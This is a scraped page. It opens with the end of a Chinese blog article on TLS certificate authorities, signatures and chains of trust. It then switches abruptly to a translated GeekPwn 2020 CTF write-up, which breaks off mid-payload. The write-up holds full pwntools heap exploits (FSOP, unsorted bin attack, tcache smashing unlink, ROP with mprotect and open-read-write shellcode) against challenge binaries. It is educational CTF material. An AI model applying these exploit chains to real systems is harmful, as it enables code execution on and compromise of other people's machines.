Hellman算法的SSL/TLS密钥交换。我们最终认为需要第三方来验证服务器的真实性，并提出了 **证书颁发机构**
的机制。博客系列的最后两部分的主要内容：
> * TLS加密客户端-服务器通信并阻止中间人攻击。
> * 编码，散列和加密之间的区别
> * TLS使用对称密钥加密来加密数据和公钥基础结构以交换对称密钥。
> * 密钥交换算法本身可能被攻击者欺骗。因此，我们需要一个值得信赖的权威来验证服务器的真实性。
>
### 证书颁发机构的需求
想象一下，客户端浏览器正在尝试与Web服务器通信，并且想要启动TLS通道。从上面的最后一点来看，为了证明服务器的身份，客户端浏览器必须具有服务器的公钥。但是，我们在浏览器中无法存储要访问的所有网站的公钥，而且由于每分钟都有新的网站出生，因此每分钟都需要更新一次。
解决这个问题的方案是采用证书颁发机构机制。当我们安装浏览器或操作系统时，将会附有一组证书颁发机构，例如DigiCert。当浏览器自带DigiCert时，这意味着浏览器具有DigiCert的公钥，网站可以向DigiCert索取证书和签名。因此，DigiCert将使用DigiCerts私钥在服务器证书上进行加密签名。当我们发起连接时，服务器将发送嵌入了其公钥的证书。由于浏览器具有DigiCert的公钥，因此可以在服务器证书上验证DigiCert的签名，同时也说明证书上写的服务器的公钥是可信的。
如果您没有完全理解这个概念，也请不要担心。让我们把这个过程细化再逐一分析。
### 数字签名的定义
要理解证书颁发机构的概念，我们可以回顾几十年前的传统邮箱邮件系统并进行类比。想象一下，Alice拥有一家公司，而Bob则是该公司的员工，Alice想给Bob发一封机密邮件，作为首席执行官的Alice，将起草邮件并将其放入邮箱，它将经过几个邮局和几个邮递员并最终到达Bob的手中，Bob可以打开阅读它，但Bob如何确保邮件真的来自Alice？这里有两种可能性：
1.攻击者Eve可以使用任何内容起草邮件，将发件人地址设置为类似于Alice的办公室的地址并将其转发给Bob。
2.Eve可以是中间人，例如中间邮局的员工，他可以在邮件到达Bob之前打开邮件，他甚至可以按照自己的意愿重写内容，然后将其重新发送给Bob。
在这两种情况下，都无法确保收到的Alice邮件是否有效。这种时候我们会做什么？查看签名，Alice可以在邮件发布给Bob时使用印章签名，Alice的公司印章可用于验证电子邮件的真实性和完整性。由于Alice的公司是公认的实体，如果邮件有签名，我们可以信任它，这正是证书颁发机构所做的事情。
### 证书颁发机构的技术实现
我们知道[PKI用于在TLS协议中交换会话密钥](https://www.wst.space/ssl-part-2-diffie-hellman-key-exchange/)，此过程可以称为身份验证过程。为了执行认证过程，服务器需要向客户端发送公钥，但是中间攻击者可以获取此公钥并将其替换为自己的公钥，这是非常危险的，因为客户永远不会知道公钥在传输过程中是否被第三方篡改过。客户端会在不知不觉中使用攻击者的公钥加密对称密钥并转发出去，由于攻击者持有相应的私钥，他就可以解密并窃取数据。
为了使客户端信任所接收的公钥，引入CA的概念。 CA的工作如下。假设服务器<https://example.com> 需要TLS证书。
1.服务器 example.com将从CA请求TLS证书，例如Digicert。
2.Digicert将为example.com创建证书，证书将包含必要的数据，例如服务器名称，服务器的公钥等。
3.Digicert将创建数据（证书）的哈希值，并使用自己的私钥对其进行加密。
4.浏览器和操作系统自带Digicert等权威机构的公钥。
5.当浏览器收到签名证书时，它将使用公钥从签名生成哈希值，它还将使用证书中指定的散列算法生成数据（证书）的散列，如果两个哈希值匹配，则签名验证成功并且证书是可信的。
6.现在浏览器可以使用证书中指定的example.com的公钥继续进行身份验证过程。
在这里，我们可以将Digicert称为 **Root CA**.
### 如果攻击者篡改证书会怎样
收到证书后，浏览器将验证服务器名称、证书有效性、签名等数据。想象一下，如果攻击者使用他的自定义证书而不是example.com的证书，然后服务器名称字段验证将失败，浏览器将立即断开连接。
另一种情况是，如果攻击者保留所有这些数据并用公钥替换公钥会发生什么？在这种情况下，当浏览器尝试从证书数据重新生成哈希时，由于数据被篡改，他将获得不同的哈希值，从而数据和签名计算出的哈希值将不匹配。
为了绕过上述机制，攻击者需要使签名来匹配数据，为了做到这点，他需要拥有Digicert的私钥（最初为example.com签发并签署了证书），所以攻击者此时会失败，因为他可以创建的唯一签名来自他的私钥，我们的浏览器并不会信任这一点。浏览器的证书存储区也不会有攻击者的公钥，并且在发生此类攻击时会显示证书异常，如下所示。
您可能已经注意到在尝试为浏览器设置代理时，发生私密错误是因为代理工具在充当中间人，并向浏览器显示自己的证书。如果您信任该证书，则可以点击继续；或者，您可以下载代理证书工具并将其添加到浏览器内的受信任机构列表中，这样，您可以在代理工具中以纯文本形式查看加密数据。
### 信任链
我们知道证书颁发机构是为服务器创建并签署证书，很少有组织从事这项工作，即Digicert，Geotrust，Comodo等。如果他们正在为所有服务器签署证书，则必须为所有签名使用相同的私钥，如果它被盗，那么所有的信任都会丢失。为了解决这个问题并增加更多的平均信息量，引入了
**中间CA(intermediate CA)** 的概念。
这个想法很简单。Charles是一个值得信赖的人，并曾经收到了Alice的签名邮件，如果Bob看到Charles的签名，他就会信任这封邮件。现在，Smith是Charles信任的另一个人，如果Smith代表Charles签署了一封来自Alice的邮件，那么Bob将不会一直相信它。这里就出现了信任链：Bob相信Charles和Charles信任Smith，因此BOb可以信任Smith。类似地，intermediate
CA是Root CA信任的证书颁发机构。 example.com的证书将由intermediate CA颁发，intermediate
CA还将具有将由Root CA签名的证书，并且只有Root CA的详细信息会被存储在浏览器的证书库中。
因此，在证书验证期间，浏览器信任Digicert Root CA和Digicert Root CA信任intermediate
CA，因此浏览器可以信任intermediate CA。在下图中，您可以看到层次结构， **DigiCert SHA2 High Assurance
Server CA** 是中间证书颁发机构和 **DigiCert High Assurance EV Root CA** 。
此层次结构的另一个优点是Root CA无需始终在线。
### 数字签名的数学算法
我们在理解密钥交换过程的同时讨论了Diffie-Hellman算法。类似地，也有许多算法可用于数字签名，这写会在服务器证书中指定。请参阅下面的example.com证书。
我不会多谈核心的数学知识，因为它很无聊，而且我也很菜。证书显示带有RSA加密的SHA-256。
RSA是一种流行的签名算法，我会在这里讨论。与任何其他非对称加密算法一样，RSA也具有公钥 -私钥对。这里的区别在于，签名（将其视为加密）是通过使用intermediate
CA的私钥来完成的。并且签名验证（将其视为解密）由浏览器使用相应的公钥完成的。换句话说，[RSA签名不是RSA解密](https://www.cs.cornell.edu/courses/cs5430/2015sp/notes/rsa_sign_vs_dec.php)。如果您有兴趣制作实用的RSA签名，请[参阅此处](https://askubuntu.com/questions/679230/how-to-sign-files-with-ubuntu-command-line-tools-and-my-own-keys)。
RSA将在签署之前会对证书进行哈希处理，这有一个很重要的原因。如果您深入了解算法，您将知道如果数据长度超过其密钥长度，RSA无法加密数据。假设我们使用2048位密钥进行加密，那么证书数据不应超过2048位，也就是255个字节，这并不总是可行的，因为证书包含很多信息。因此，在加密之前，在证书上应用散列函数，该函数生成指定长度的唯一随机字符串。在example.com的情况下，使用SHA-256哈希算法。如果您有兴趣，可以进一步[研究RSA的这种限制](https://crypto.stackexchange.com/questions/12768/why-hash-the-message-before-signing-it-with-rsa)。
### 浏览器如何实际验证给定服务器证书的有效性
我们知道服务器使用中级证书颁发机构的签名，因此，在与浏览器通信时，服务器将共享两个证书：一，包含服务器的公钥，即实际的服务器证书；二，由Root
CA颁发的intermediate CA证书。以下是验证链的图示。
在签名验证期间，浏览器首先使用已经存储在浏览器中的Root
CA的公钥来验证中间证书的数字签名，如果成功，浏览器现在可以信任中间证书及其公钥。现在使用此公钥，浏览器将验证原始服务器证书的签名，该组织可以注册为intermediate
CA，以便为其域签署证书。比如谷歌。
谷歌互联网管理局G3是一个由全球认证Root CA -R2信任的intermediate CA，这意味着，Google可以使用此intermediate
CA验证其域名，由于谷歌浏览器是全球认证Root
CA认证的，其他浏览器将信任它。必须注意的是，谷歌有权单独签署他们的域名。这可以防止Google为Microsoft签署证书。
### 后续
到目前为止，我们已经讨论了证书颁发机构和TLS协议的原理。在本系列的下一部分中，我们将实际检查整个TLS通信。 | 社区文章 |
# 2020 GeekPwn部分PWN解题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
# 前言
前几天的GeekPwn又日常被队友带飞，这两天做了其中部分题目，在这里进行一个总结。
[题目链接](//pan.baidu.com/s/1k5yWF-jnHphEAhyEljRB-Q)
提取码：mjqm
## 一、BabyPwn
### 1.1 查看文件
保护全开就想到两个思路了：IO_FILE攻击和劫持hook了
### 1.2 IDA分析
漏洞定位到create函数中的输入size的地方：
如果size输入0，那么就会绕过判断，同时会分配0x20 size的chunk，但是继续看readInfo功能：
由于size是个有符号数，为0的话减一恒比无符号数大，那么就可以无限溢出了。有了堆溢出，就好办了。
### 1.3 思路
**1.3.1 思路一：劫持main_arena改top chunk**
**第一步** ：通过堆溢出改chunk size，释放掉产生unsorted bin，分配后造成chunk复用leak libc地址。
**第二步** ：利用堆溢出再劫持main arena地址，改top chunk的地址为malloc hook上面的一个地址，在修改的时候发现改top
chunk只要保证有个size就行了（size大小没关系），只要不回收top chunk就不会页对齐等检查。
**第三步** ：改malloc hook为realloc hook+x，改realloc hook为one gadget来getshell
最后打通了发现程序禁了execve，只能执行system(“/bin/sh”)，交涉一番无果，只得考虑第二个思路FSOP
**1.3.2 思路二：FSOP**
首先利用之前的方法将libc和heap地址泄露，再利用unsorted bin
attack将io_list_all改为main_arena地址（同时该main_arena地址偏移0x68也就是chain同时也是0x60
smallbin的地址要伪造一个file来满足getshell的条件）。同时在对应的chunk位置伪造io_file，并在地址+0xd8的地方伪造vtable，vtable里面都是system函数。
注意伪造结构体的时候需要满足：
mode<=0；write_ptr > write_base才会最后调用vtable的overflow虚函数。
**调用要求** 1.exit 2.执行流从main函数返回 3.malloc出错
**函数执行步骤** ：malloc_printerr ->libc_message->__GI_abort -> _IO_flush_all_lockp
-> _IO_OVERFLOW
**由于在这个地方卡了好久，决定好好再写一写：最初的思路**
首先按照我的思路，需要一次unsorted
bin攻击，还需要对应main_arena地址偏移0x68的chain处为一个file结构体。其对应的内容是0x60的smallbin。常规一个一个构造满足是无法完成的，至少我没有想到构造方法。因为unsorted
bin攻击后就无法顺利释放chunk到unsorted bin中了，同时我们都知道想要smallbin的话是需要遍历查找unsorted
bin没有满足才会将对应的0x60归入smallbin，但是我们注意到size大小是0x40以内，也就说明肯定会从0x60去切，注意一点（分配0x50的chunk会将该0x60chunk分配）
**接下来就是神来之笔了** ：
unsorted
bin攻击并不是非要将该chunk分配，仅需要将其从双向链表中取出便可达到攻击效果。我们可以在最后利用分配chunk报错而实现这个目的，同时还可以改unsorted
bin的size为0x60，不仅可以unsorted bin攻击成功归类的时候还可以产生我们需要的0x60的smallbin chunk。
* * *
#### 最后神来之笔的源码解读
**好了这下我们可以好好看看源码了** ：
调用int_malloc函数的时候最开始遍历fastbin，smallbin接下来是largebin，最后是unsorted bin。
我们看到遍历unsorted
bin的时候有这么一堆合法性检查，不通过就直接malloc_printerr了。在第一次执行前：里面的chunk大小是0x60，同时布置好了unsorted
bin攻击，即bk改为io_file_list地址。
接下来再看后面会执行什么：
所以第一次会绕过合法性检查，成功的将0x60的chunk从unsorted
bin取出放到smallbin中，这也就同时完成了创造0x60的smallbin和unsorted bin attack两个目的了，也就是一石二鸟了。
至于最后getshell是未能绕过检查直接进入malloc_printerr里面，进入 **libc_message函数中**
****
**在** libc_message函数中调用abort函数
注意在该文件中将_IO_flush_all_lockp宏定义为fflush了
最后进入_IO_flush_all_lockp函数，看到通过一堆判断将执行overflow虚函数，第一个参数就是该file结构体的地址，所以当我们改为system的时候会将/bin/sh写在最前面
### 1.4 exp
**1.4.1 exp(思路一)：**
#coding=utf-8
from pwn import *
context.log_level = "debug"
debug = 1
if debug:
p = process("./pwn")
elf = ELF("./libc.so")
libc = ELF("./libc.so")
else:
p = remote("183.60.136.226",14823)
elf = ELF("./libc.so")
libc = ELF("./libc.so")
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
def create(name,size,content):
sla("choice:","1")
sa("name:",name)
sla("size:",str(size))
sa("tion:",content)
def delete(index):
sla("choice:","2")
sla("index:",str(index))
def show(index):
sla("choice:","3")
sla("index:",str(index))
# ------- leak libc ----------- create("\x11\n",0x10,"\x11\n") # 0
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 1
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 3
delete(0)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0xb1)+"\n") # 0
delete(1)
create("\x11\n",0x40,"a"*0x40) # 1
show(2)
ru("Description:")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.symbols["__malloc_hook"]-0x10-88
success("libc addr ==>"+hex(libc.address))
create("\x11\n",0x30,"\n") # 4
create("\x11\n",0x10,"\n") # 5
create("\x11\n",0x10,"\x11\n") # 6
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 7
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 8
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 9
delete(6)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0x71)+"\n") # 6
delete(7)
delete(1)
delete(0)
create("\x11\n",0,"a"*0x10+p64(0)+p64(0x51)+p64(libc.symbols["__malloc_hook"]+0x10+45)+"\n") # 0
delete(8)
delete(9)
gdb.attach(p)
create("\x11\n",0x40,"a\n")
create("\x11\n",0x40,"\x00"*0x1b+p64(libc.symbols["__malloc_hook"]-0x18)+"\n")
create("\x11\n",0x40,p64(libc.address+one_gadgets[1])+p64(libc.symbols["realloc"]+13)+"\n")
sla("choice:","1")
sa("name:","aaa\n")
sla("size:",str(0x40))
p.interactive()
**1.4.2 exp(思路二):**
#coding=utf-8
from pwn import *
context.log_level = "debug"
debug = 1
if debug:
p = process("./pwn")
elf = ELF("./libc.so")
libc = ELF("./libc.so")
else:
p = remote("183.60.136.226",14823)
elf = ELF("./libc.so")
libc = ELF("./libc.so")
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
def create(name,size,content):
sla("choice:","1")
sa("name:",name)
sla("size:",str(size))
sa("tion:",content)
def delete(index):
sla("choice:","2")
sla("index:",str(index))
def show(index):
sla("choice:","3")
sla("index:",str(index))
# ------- leak libc ----------- create("\x11\n",0x10,"\x11\n") # 0
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 1
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 3
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 4
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 5
delete(2)
delete(1)
create("\x11\n",0x40,"\n") # 1
show(1)
ru("Description:")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x20
success("heap address ==> "+hex(heap_addr))
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
delete(0)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0x91)+"\n") # 0
delete(1)
create("\x11\n",0x40,"a"*0x40) # 1
show(2)
ru("Description:")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.symbols["__malloc_hook"]-0x10-88
success("libc addr ==>"+hex(libc.address))
# ----------- FSOP Attack and unsorted bin attack---------------- create("\x11\n",0x30,"shinnosuke\n") # 6
delete(0)
create("\x11\n",0,"a"*0x10+p64(0)+p64(0xc1)+"\n") # 0
delete(1)
delete(0)
payload = "a"*0x10
payload+= "/bin/sh;"+p64(0x61)+p64(0)+p64(libc.sym["_IO_list_all"]-0x10) # unsorted bin attack，顺便修改下size为0x61
payload+= p64(2)+p64(3) # wtite_ptr > write_base
payload+= p64(0)*7
payload+= p64(heap_addr+0x100)
payload+= p64(0)*13
payload+= p64(heap_addr+0x100-0x50)
payload+= p64(libc.sym["system"])*8+"\n"
create("\x11\n",0,payload) # 0
gdb.attach(p)
sla("Input your choice:","1")
sa("name:",'\n')
sla("Description size:",str(0x10)) # 最后遍历的时候就完成了unsorted bin attack攻击和创造0x60大小的smallbin chunk
# gdb.attach(p)
p.interactive()
## 二.PlayTheNew
### 2.1 查看文件
这是一道glibc 2.30的题目，保护全开，同时伴随着沙箱
### 2.2 IDA分析
同时该二进制文件是没有符号表的，所以也加大了逆向难度。最后一步一步逆后大概就这样的一些关键点：
**创建要求0x80~0x200，那么就避免了fastbin和largebin的情况。**
**看汇编很清楚的可以看到删除时指针未清零，那么就有UAF的情况了**
**除此之外有个后门函数，判断其对应的位置是不是0x42，然后执行call target，target和rdi可控**
show功能和edit功能正常。
### 2.3 思路
很明显的意图可以想到我们需要修改其对应的位置的值，将0x42改为其它的内容。
这道题优点像one_punch_man和高效战役的two_chunk，但是比较恶心的是没有malloc功能的函数。如果我们进行tcache smashing
attack后改掉对应位置的fd要怎么去取呢？
实际上我们可以换个思路，我们可以考虑先利用一次tcache smashing
unlink来达到调用后门函数的要求，也就是利用归类smallbin进入tcache的时候任意地址（0x100000）写libc地址的机会将0x42改掉。这个时候就可以调用后门函数了。但是这个时候又有一个问题，我们需要控制0x100000处的地址来实现任意函数调用的目的，那我们又该怎么做呢？那说白了我们还是需要想办法来分配到0x100000的地址，而且是在没有malloc的情况。
大概讲讲tcache smashing unlink的思路：利用一条0x160的tcache list（满的7个）和一条0xb0的tache
list（6个）。当0x160满了之后释放的chunk进入unsorted
bin，这时候切割一下，将0xb0剩下，通过calloc一个更大的chunk令其归入smallbin中。再用一次这个方法使0xb0的smallbin有两个chunk，此时利用UAF修改后进入smallbin的0xb0的chunk的bk为0x100000-8-4，在calloc
0xb0的chunk，则先进入的chunk会被分配，后进入的会进入tcache，由于进入tcache没有检查：
就可以0x100000-4写main_arena地址。此时这个chunk也进入tcache了，对应的0xb0就满了，也不会再继续向后索引检查了，也就不会报错。
**来自Ama2in9师傅的思路，改掉global_max_fast来达到可以对大chunk进行fastbin的利用。具体就是当改掉global_max_fast后释放chunk就会当作fastbin处理（0x90~0x200），分配的时候calloc同样会找fastbin链有没有chunk**
。但是Ama2in9师傅后面的思路就有点麻烦了，大概是利用fastbin分配的特点在释放了的fd处伪造个size，chunk分配后就会将这个size当作下一个fd写到main_arena，这时再利用修改另一条链fd的目的劫持到size处，也就达到了劫持main_arena的目的，最后就可以改top
chunk了。
在这里我的思路是：利用释放0xd0 size的chunk来覆盖掉top chunk，因为此时会将一切大小的chunk作为fastbin
chunk处理。那么此时top
chunk就是这个0xd0的chunk地址，此时利用UAF改其fd为0x100000，这样再malloc(0xc0)就可以将0x100000写入top
chunk了。还需要注意一点： **top chunk的size需要小于0x21000，在2.23里面没有检查**
这就要求我们向0x100000写libc地址的时候需要错位改一下0x100008的值为0x7fff。此时就可以随便分配fake
topchunk了。注意一点： **由于fastbin分配的时候会有检查，不为空的时候：victim- >bk->fd =
victim，那么由于对应的fastbin链中（实际上就是smallbin了）本身就有libc地址那么malloc的时候list检查肯定会出错，所以我们就要提前准备一个size的链，保证释放后这个地址是有chunk的地址不是libc，同时改这个chunk的fd为0就可以正常分配释放这个size的chunk了**。我们选取0x120的chunk来进行分配释放，由于0x100000可控了。我们首先选择调用puts函数，参数为environ打印出stack地址。再删除再malloc调用gets，地址为调用backdoor的返回地址，写入rop令我们指定的0x100000地址数据可执行，提前再分配一个0x120
的chunk写入shellcode（ORW的shellcode），最后rop可以接着写pop rax，call rax打印出flag。
**总结** ：
**第一步** ：泄露libc地址和heap地址。
**第二步** ：第一次tcache smashing
unlink，一次改0x100000！=0x42，同时也可以修改0x10008=0x7fff（错位写）。
**第三步** ：第二次tcache smashing unlink改global_max_fast。
**第四步** ：释放0xd0的chunk覆盖top
chunk的位置，同时改fd为0x100000，通过一次分配0xd0的chunk就可以控制0x100000的地址了。
**第五步**
：第一次利用puts函数，参数为environ得到stack地址。第二次利用gets向栈返回地址写入rop执行mprotect使0x100000可执行。再此之前在对应的位置写上shellcode，这样rop就可以加一条pop
rax；call rax来得到flag了。
### 2.4 exp
#coding=utf-8
from pwn import *
# context.terminal = ["tmux","split","-h"]
context.log_level = "debug"
context.arch = "amd64"
debug = 1
if debug:
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")
else:
p = remote("127.0.0.1",1234)
elf = ELF("./pwn")
libc = ELF("./libc.so")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
def create(index,size,content):
sla(">","1")
sla("index:",str(index))
sla("basketball:",str(size))
sa("name:",content)
def delete(index):
sla(">","2")
sla("basketball:",str(index))
def show(index):
sla(">","3")
sla("basketball:",str(index))
def edit(index,content):
sla(">","4")
sla("basketball:",str(index))
sa("basketball:",content)
def backdoor():
sla("> ",str(0x666))
# ------ show heap address & libc address ------- create(0,0x180,"\n")
create(1,0x180,"\n")
delete(0)
delete(1)
show(1)
ru("Show the dance:")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x10
success("heap address ==> "+hex(heap_addr))
for i in range(5):
create(0,0x180,"\n")
delete(0)
for i in range(6):
create(0,0xa0,"\n")
delete(0)
for i in range(6):
create(0,0xb0,"\n")
delete(0)
for i in range(7):
create(0,0xc0,"\n")
delete(0)
create(4,0xc0,"\n")
for i in range(7):
create(1,0x120,"\n")
delete(1)
create(0,0x180,"\n")
create(1,0x190,"\n")
delete(0) # UAF size = 0x190
show(0)
ru("Show the dance:")
static_libc = 0x7ffff7dce000
main_arena = 0x00007ffff7fb2ca0
heap_static = 0x55555555a250
libc.address = u64(p.recv(6).ljust(8,"\x00"))+static_libc-main_arena
success("libc address ==> "+hex(libc.address))
# -------- tcache smashing unlink attack modify 0x10000 have libc addr --------- create(1,0xd0,"\n") # 1
for i in range(7):
create(1,0x1a0,"\n")
delete(1)
create(1,0x1a0,"\n")
create(2,0x1b0,"\n")
delete(1) # we can uaf 0x1a0 size, this chunk have been split
create(0,0xf0,"\n")
create(0,0x1b0,"\n")
edit(1,"a"*0xf0+p64(0)+p64(0xb1)+p64(heap_addr-heap_static+0x000055555555c590)+p64(0x0000000000100000-4-8)+"\n")
create(0,0xa0,"\n")
# -------- tcache smashing unlink attack modify global_max_fast --------- create(0,0x180,"\n")
create(1,0x100,"\n")
delete(0)
create(0,0xc0,"\n")
create(0,0x1a0,"\n")
create(1,0x100,"\n")
delete(0)
create(1,0xe0,"\n")
create(2,0x100,"\n")
edit(0,"a"*0xe0+p64(0)+p64(0xc1)+p64(heap_addr-heap_static+0x000055555555d9b0)+p64(0x7ffff7fb5600-0x10+libc.address-static_libc)+"\n")
# --------- prepare chunk for hijacking top chunk ------------- create(1,0x120,"\n")
create(3,0xb0,"\n") # tcache smashing unlink to modify
delete(1)
delete(4) # delete 0xd0 size chunk, this chunk addr will cover top chunkaddr
delete(3)
edit(3,p64(0x100000)+"\n")
create(3,0xb0,"\n")
edit(1,p64(0)+"\n") # modify 0x130 fast chunnk fd = 0
create(1,0x120,"\n") #clear fastbin 0x130 list
# backdoor execute puts(environ)
create(1,0x120,p64(libc.sym["puts"])+p64(libc.address - static_libc + 0x7ffff7fb5d60))
backdoor()
stack_addr = u64(p.recv(6).ljust(8,"\x00"))-0x7fffffffe038+0x7fffffffdf28
success("stack address ==> "+hex(stack_addr))
# backdoor execute gets(ret stack addr) and call [0x100000+0x140]
if debug:
pop_rax = libc.address + 0x0000000000047cf8
pop_rdi = libc.address + 0x0000000000026542
pop_rsi = libc.address + 0x0000000000026f9e
pop_rdx = libc.address + 0x000000000012bda6
syscall = libc.address + 0x00000000000cf6c5
pop_rax_call_rax = libc.address + 0x000000000014f404
else:
pop_rax = libc.address + 0x0000000000047cf8
pop_rdi = libc.address + 0x0000000000026542
pop_rsi = libc.address + 0x0000000000026f9e
pop_rdx = libc.address + 0x000000000012bda6
syscall = libc.address + 0x00000000000cf6c5
pop_rax_call_rax = libc.address + 0x000000000014f404
payload2 = asm('''
mov rdi,0x100140
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,rax
mov rsi,0x100200
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,0x100200
mov rdx,0x40
mov rax,1
syscall
''')
payload1 = flat([pop_rdi,0x100000,pop_rsi,0x1000,pop_rdx,7,libc.sym["mprotect"],pop_rax_call_rax,0x100000+0x140+8])
delete(1)
create(1,0x120,p64(libc.sym["gets"])+p64(stack_addr)+"\n")
create(2,0x120,"flag"+"\x00"*4+payload2+"\n")
# p.clean()
gdb.attach(p)
backdoor()
raw_input()
sl(payload1)
# gdb.attach(p)
p.interactive()
## 三、PaperPrinter
### 3.1 查看文件
保护全开
### 3.2 IDA分析
随机化开辟一块地址：
这道题的整体思路有点像heap_master，同样的可以无限的编辑溢出，但是区别是这里只有两次malloc的机会。两次malloc第一次是可以malloc，第二次是再exitFunc函数中有个strdup函数会malloc一次。同时没有输出函数，程序一开始给了中间两位地址，那么我们只能尝试低地址写了。
create：
delete：
edit：
exitFunc：
大致看看strdup函数的功能：
strdup()在内部调用了malloc()为变量分配内存，不需要使用返回的字符串时，需要用free()释放相应的内存空间，否则会造成内存泄漏。
### 3.3 思路分析
这里同样有两个思路：
**3.3.1 第一个思路：**
是利用largebin
attack改掉stdout的vtable为chunk地址，vtable+0x38为onegadet。在调用printf函数的时候会得到一次call
[vtable+0x38]的机会，同时stdout文件结构体地址作为第一个参数传入。（这是第一次见到这种攻击，虽然也是FSOP但是利用手法有差别，详情请看io_file攻击(三)）
**同样的由于该题禁了one_gadget，那么我们就得换另一个思路了**
**3.3.2 第二个思路：**
利用unsorted bin attack进行FSOP，类似第一个题目的操作。改io_file_list为fake
io_file（main_arena），io_file指向chunk（fake io file），vtable指向chunk
构造起来也是挺麻烦，大概讲讲思路吧：
**第一步** ：根据泄露的信息找到我们需要的io_file_list、system地址
**第二步** ：创造出足够多的空间，准备后面的delete构造small 、unsorted chunk
**第三步** ：根据fake file的特点在对应的位置创造出heap地址和libc地址，libc地址方便直接删除得到unsorted
bin就有了，但是heap地址我们需要在offset + 0x8位置创造出要么就是unsorted bin要么就是smallbin，large
bin。在这里我们选择smallbin，由于malloc的时候遍历unsorted
bin会归类smallbin，所以提前释放两个同样大小的chunk在unsorted bin，malloc
0x150的时候就可以在对应的位置得到heap地址了。（这是最麻烦的一步了）
**第四步** ：unsorted bin attack + 改掉unsorted
bin的size为0x61也为了劫持io_file_list成功，exit完成unsorted bin
attack攻击，同时归类时产生错误执行malloc_printerr
### 3.4 exp
**3.4.1 exp（思路一）**
from pwn import *
p = process("./pwn")
context.log_level="debug"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def edit(offset,length,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(offset))
p.recvuntil(":")
p.sendline(str(length))
p.recvuntil(":")
p.send(content)
def delete(offset):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(offset))
def show():
p.recvuntil(":")
p.sendline("3")
def extra():
p.recvuntil(":")
p.sendline("4")
#p = process("PaperPrinter")
# p = remote("183.60.136.226",16145)
sleep_addr = int(p.recvuntil("\n")[:-1]+"30",16)+0xa00000
print hex(sleep_addr)
stdout_vtable = sleep_addr+0x2f94c8
one_gadget = sleep_addr-0xcc230+0x4526a
dl_open_hook = stdout_vtable+0x3be8
magic_gadget = stdout_vtable-0xdd26f8+0xa7a98a
system = sleep_addr-0x86ea0
print hex(system)
payload = p64(0)+p64(0x411)+"/bin/sh;"+"\x00"*(0x400-8)
edit(0,len(payload),payload)
payload = p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x221)+p64(0)*6+p64(0)+p64(0x221)+"\x00"*0x110
edit(0x410,len(payload),payload)
payload = p64(0)+p64(0x411)+"\x00"*0xb0+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)+"\x00"*0x2e0+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)
